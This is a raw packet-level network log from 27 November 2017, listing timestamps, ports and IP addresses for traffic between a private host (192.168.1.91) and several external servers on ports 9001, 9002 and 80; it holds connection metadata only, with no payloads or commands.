Nov 27, 2017 12:35:41.008582115 CET	49183	9001	192.168.1.91	54.36.205.38
Nov 27, 2017 12:35:41.008606911 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:41.008614063 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:41.008618116 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:41.008622885 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:41.008631945 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:41.008646965 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:41.008651972 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:41.008660078 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:41.008665085 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:41.008668900 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:41.008743048 CET	49183	9001	192.168.1.91	54.36.205.38
Nov 27, 2017 12:35:41.008757114 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:41.008764029 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:41.008769035 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:41.008775949 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:41.008841991 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:41.008867025 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:41.008881092 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:41.008894920 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:41.008907080 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:41.008908033 CET	49183	9001	192.168.1.91	54.36.205.38
Nov 27, 2017 12:35:41.008922100 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:41.009073019 CET	49182	9002	192.168.1.91	208.80.154.39
Nov 27, 2017 12:35:41.009085894 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:41.009094954 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:41.009180069 CET	49183	9001	192.168.1.91	54.36.205.38
Nov 27, 2017 12:35:41.009193897 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:41.009201050 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:41.009206057 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:41.009212017 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:41.009216070 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:41.009219885 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:41.009222984 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:41.009226084 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:41.009228945 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:41.009232044 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:41.009253979 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:41.009257078 CET	49182	9002	192.168.1.91	208.80.154.39
Nov 27, 2017 12:35:41.009264946 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:41.009771109 CET	49182	9002	192.168.1.91	208.80.154.39
Nov 27, 2017 12:35:41.009783983 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:41.009792089 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:41.009797096 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:41.009803057 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:41.009809971 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:41.009816885 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:41.009824038 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:41.009830952 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:41.009836912 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:41.009844065 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:41.009850979 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:41.009978056 CET	49183	9001	192.168.1.91	54.36.205.38
Nov 27, 2017 12:35:41.009990931 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:41.009999037 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:41.010004044 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:41.010020971 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:41.010026932 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:41.010030031 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:41.010035038 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:41.010040998 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:41.010045052 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:41.010050058 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:41.010056019 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:41.010082960 CET	49182	9002	192.168.1.91	208.80.154.39
Nov 27, 2017 12:35:41.010092974 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:41.010101080 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:41.010107040 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:41.010113001 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:41.010118008 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:41.010123968 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:41.010129929 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:41.010135889 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:41.010142088 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:41.010148048 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:41.010169029 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:41.010189056 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:41.010202885 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:41.010291100 CET	49182	9002	192.168.1.91	208.80.154.39
Nov 27, 2017 12:35:41.010524988 CET	49180	9001	192.168.1.91	212.47.234.212
Nov 27, 2017 12:35:41.010642052 CET	49183	9001	192.168.1.91	54.36.205.38
Nov 27, 2017 12:35:41.010684013 CET	49182	9002	192.168.1.91	208.80.154.39
Nov 27, 2017 12:35:41.010694027 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:41.010701895 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:41.010708094 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:41.010714054 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:41.010718107 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:41.010723114 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:41.010729074 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:41.010731936 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:41.010737896 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:41.010744095 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:41.010747910 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:41.010752916 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:41.010760069 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:41.011161089 CET	49180	9001	192.168.1.91	212.47.234.212
Nov 27, 2017 12:35:41.011256933 CET	49182	9002	192.168.1.91	208.80.154.39
Nov 27, 2017 12:35:41.011271000 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:41.011279106 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:41.011284113 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:41.011291027 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:41.011296034 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:41.012278080 CET	49183	9001	192.168.1.91	54.36.205.38
Nov 27, 2017 12:35:41.012352943 CET	49182	9002	192.168.1.91	208.80.154.39
Nov 27, 2017 12:35:41.012685061 CET	49180	9001	192.168.1.91	212.47.234.212
Nov 27, 2017 12:35:41.012700081 CET	9001	49180	212.47.234.212	192.168.1.91
Nov 27, 2017 12:35:41.013669968 CET	49182	9002	192.168.1.91	208.80.154.39
Nov 27, 2017 12:35:41.015130997 CET	49180	9001	192.168.1.91	212.47.234.212
Nov 27, 2017 12:35:41.015156031 CET	9001	49180	212.47.234.212	192.168.1.91
Nov 27, 2017 12:35:41.016184092 CET	49183	9001	192.168.1.91	54.36.205.38
Nov 27, 2017 12:35:41.016210079 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:41.016222954 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:41.016239882 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:41.016331911 CET	49183	9001	192.168.1.91	54.36.205.38
Nov 27, 2017 12:35:41.051620960 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:41.051786900 CET	49182	9002	192.168.1.91	208.80.154.39
Nov 27, 2017 12:35:41.051809072 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:41.055627108 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:41.247639894 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:41.259624004 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:41.444869041 CET	49183	9001	192.168.1.91	54.36.205.38
Nov 27, 2017 12:35:41.476380110 CET	49182	9002	192.168.1.91	208.80.154.39
Nov 27, 2017 12:35:41.723647118 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:41.723891020 CET	49183	9001	192.168.1.91	54.36.205.38
Nov 27, 2017 12:35:41.811625004 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:41.811920881 CET	49182	9002	192.168.1.91	208.80.154.39
Nov 27, 2017 12:35:41.851216078 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:42.051654100 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:42.051808119 CET	49181	80	192.168.1.91	85.25.213.211
Nov 27, 2017 12:35:42.283653021 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:42.283813953 CET	49183	9001	192.168.1.91	54.36.205.38
Nov 27, 2017 12:35:42.483627081 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:42.483827114 CET	49182	9002	192.168.1.91	208.80.154.39
Nov 27, 2017 12:35:43.274868011 CET	49183	9001	192.168.1.91	54.36.205.38
Nov 27, 2017 12:35:43.274902105 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:43.274910927 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:43.274929047 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:43.274936914 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:43.274945021 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:43.274951935 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:43.274957895 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:43.274966002 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:43.274971008 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:43.274976015 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:43.275105953 CET	49183	9001	192.168.1.91	54.36.205.38
Nov 27, 2017 12:35:43.275121927 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:43.275130987 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:43.275135994 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:43.275141001 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:43.275156975 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:43.275161982 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:43.275177956 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:43.275182009 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:43.275187016 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:43.275255919 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:43.275291920 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:43.275722027 CET	49183	9001	192.168.1.91	54.36.205.38
Nov 27, 2017 12:35:43.275739908 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:43.275746107 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:43.275760889 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:43.275763988 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:43.275767088 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:43.275770903 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:43.275774002 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:43.275777102 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:43.275779963 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:43.275784016 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:43.275787115 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:43.279720068 CET	49183	9001	192.168.1.91	54.36.205.38
Nov 27, 2017 12:35:43.279747009 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:43.279753923 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:43.279757977 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:43.279781103 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:43.279783964 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:43.279789925 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:43.279793024 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:43.279798031 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:43.279804945 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:43.280380964 CET	49183	9001	192.168.1.91	54.36.205.38
Nov 27, 2017 12:35:43.280405045 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:43.482486963 CET	49183	9001	192.168.1.91	54.36.205.38
Nov 27, 2017 12:35:43.815650940 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:43.815835953 CET	49183	9001	192.168.1.91	54.36.205.38
Nov 27, 2017 12:35:43.831665993 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:43.831816912 CET	49182	9002	192.168.1.91	208.80.154.39
Nov 27, 2017 12:35:44.487664938 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:44.488008976 CET	49183	9001	192.168.1.91	54.36.205.38
Nov 27, 2017 12:35:45.249552965 CET	49182	9002	192.168.1.91	208.80.154.39
Nov 27, 2017 12:35:45.249584913 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:45.249596119 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:45.249602079 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:45.249622107 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:45.249639034 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:45.249643087 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:45.249653101 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:45.249681950 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:45.249689102 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:45.249696016 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:45.249784946 CET	49182	9002	192.168.1.91	208.80.154.39
Nov 27, 2017 12:35:45.249804974 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:45.249814987 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:45.249820948 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:45.249828100 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:45.249834061 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:45.249840975 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:45.249855995 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:45.249861956 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:45.249867916 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:45.249874115 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:45.249881029 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:45.250117064 CET	49181	80	192.168.1.91	85.25.213.211
Nov 27, 2017 12:35:45.250137091 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:45.250525951 CET	49182	9002	192.168.1.91	208.80.154.39
Nov 27, 2017 12:35:45.250631094 CET	49182	9002	192.168.1.91	208.80.154.39
Nov 27, 2017 12:35:45.250648975 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:45.250659943 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:45.250673056 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:45.250678062 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:45.250684977 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:45.250690937 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:45.250699043 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:45.250705957 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:45.250713110 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:45.250720024 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:45.250725985 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:45.250756025 CET	49181	80	192.168.1.91	85.25.213.211
Nov 27, 2017 12:35:45.250766039 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:45.251039982 CET	49183	9001	192.168.1.91	54.36.205.38
Nov 27, 2017 12:35:45.251055956 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:45.251157045 CET	49182	9002	192.168.1.91	208.80.154.39
Nov 27, 2017 12:35:45.251174927 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:45.251184940 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:45.251190901 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:45.251198053 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:45.251204967 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:45.251210928 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:45.251219034 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:45.251225948 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:45.251233101 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:45.251240015 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:45.251246929 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:45.251252890 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:45.251765013 CET	49181	80	192.168.1.91	85.25.213.211
Nov 27, 2017 12:35:45.251780987 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:45.251888990 CET	49182	9002	192.168.1.91	208.80.154.39
Nov 27, 2017 12:35:45.251907110 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:45.251916885 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:45.251923084 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:45.251929045 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:45.251935005 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:45.251940966 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:45.251946926 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:45.251952887 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:45.251959085 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:45.251965046 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:45.251971960 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:45.251977921 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:45.252149105 CET	49181	80	192.168.1.91	85.25.213.211
Nov 27, 2017 12:35:45.252161980 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:45.252223969 CET	49181	80	192.168.1.91	85.25.213.211
Nov 27, 2017 12:35:45.252243996 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:45.252351999 CET	49182	9002	192.168.1.91	208.80.154.39
Nov 27, 2017 12:35:45.252373934 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:45.252384901 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:45.252391100 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:45.252397060 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:45.252403975 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:45.252409935 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:45.252415895 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:45.252958059 CET	49181	80	192.168.1.91	85.25.213.211
Nov 27, 2017 12:35:45.252974033 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:45.253065109 CET	49182	9002	192.168.1.91	208.80.154.39
Nov 27, 2017 12:35:45.253217936 CET	49181	80	192.168.1.91	85.25.213.211
Nov 27, 2017 12:35:45.253232002 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:45.253290892 CET	49181	80	192.168.1.91	85.25.213.211
Nov 27, 2017 12:35:45.253298998 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:45.253730059 CET	49180	9001	192.168.1.91	212.47.234.212
Nov 27, 2017 12:35:45.253750086 CET	9001	49180	212.47.234.212	192.168.1.91
Nov 27, 2017 12:35:45.254273891 CET	49181	80	192.168.1.91	85.25.213.211
Nov 27, 2017 12:35:45.254290104 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:45.254501104 CET	49181	80	192.168.1.91	85.25.213.211
Nov 27, 2017 12:35:45.254515886 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:45.503621101 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:45.656500101 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:45.701934099 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:45.701957941 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:45.702186108 CET	49181	80	192.168.1.91	85.25.213.211
Nov 27, 2017 12:35:45.702228069 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:45.710848093 CET	49182	9002	192.168.1.91	208.80.154.39
Nov 27, 2017 12:35:45.728297949 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:45.728595972 CET	49181	80	192.168.1.91	85.25.213.211
Nov 27, 2017 12:35:45.728626966 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:45.755800009 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:45.755820990 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:45.756201029 CET	49181	80	192.168.1.91	85.25.213.211
Nov 27, 2017 12:35:45.756247044 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:45.770163059 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:45.770508051 CET	49181	80	192.168.1.91	85.25.213.211
Nov 27, 2017 12:35:45.770534992 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:45.777203083 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:45.777228117 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:45.777767897 CET	49181	80	192.168.1.91	85.25.213.211
Nov 27, 2017 12:35:45.777808905 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:45.835635900 CET	9001	49183	54.36.205.38	192.168.1.91
Nov 27, 2017 12:35:45.835916996 CET	49183	9001	192.168.1.91	54.36.205.38
Nov 27, 2017 12:35:45.863320112 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:45.863482952 CET	49181	80	192.168.1.91	85.25.213.211
Nov 27, 2017 12:35:45.863513947 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:45.885831118 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:45.885857105 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:45.886070967 CET	49181	80	192.168.1.91	85.25.213.211
Nov 27, 2017 12:35:45.886099100 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:45.892963886 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:45.892991066 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:45.893081903 CET	49181	80	192.168.1.91	85.25.213.211
Nov 27, 2017 12:35:45.893104076 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:46.047617912 CET	9002	49182	208.80.154.39	192.168.1.91
Nov 27, 2017 12:35:46.047722101 CET	49182	9002	192.168.1.91	208.80.154.39
Nov 27, 2017 12:35:46.101186037 CET	49181	80	192.168.1.91	85.25.213.211
Nov 27, 2017 12:35:46.101227999 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:46.198775053 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:46.198812008 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:46.198940039 CET	49181	80	192.168.1.91	85.25.213.211
Nov 27, 2017 12:35:46.198980093 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:46.228260994 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:46.228295088 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:46.228373051 CET	49181	80	192.168.1.91	85.25.213.211
Nov 27, 2017 12:35:46.228409052 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:46.245311022 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:46.245357990 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:46.245444059 CET	49181	80	192.168.1.91	85.25.213.211
Nov 27, 2017 12:35:46.245475054 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:46.336405993 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:35:46.336430073 CET	80	49181	85.25.213.211	192.168.1.91
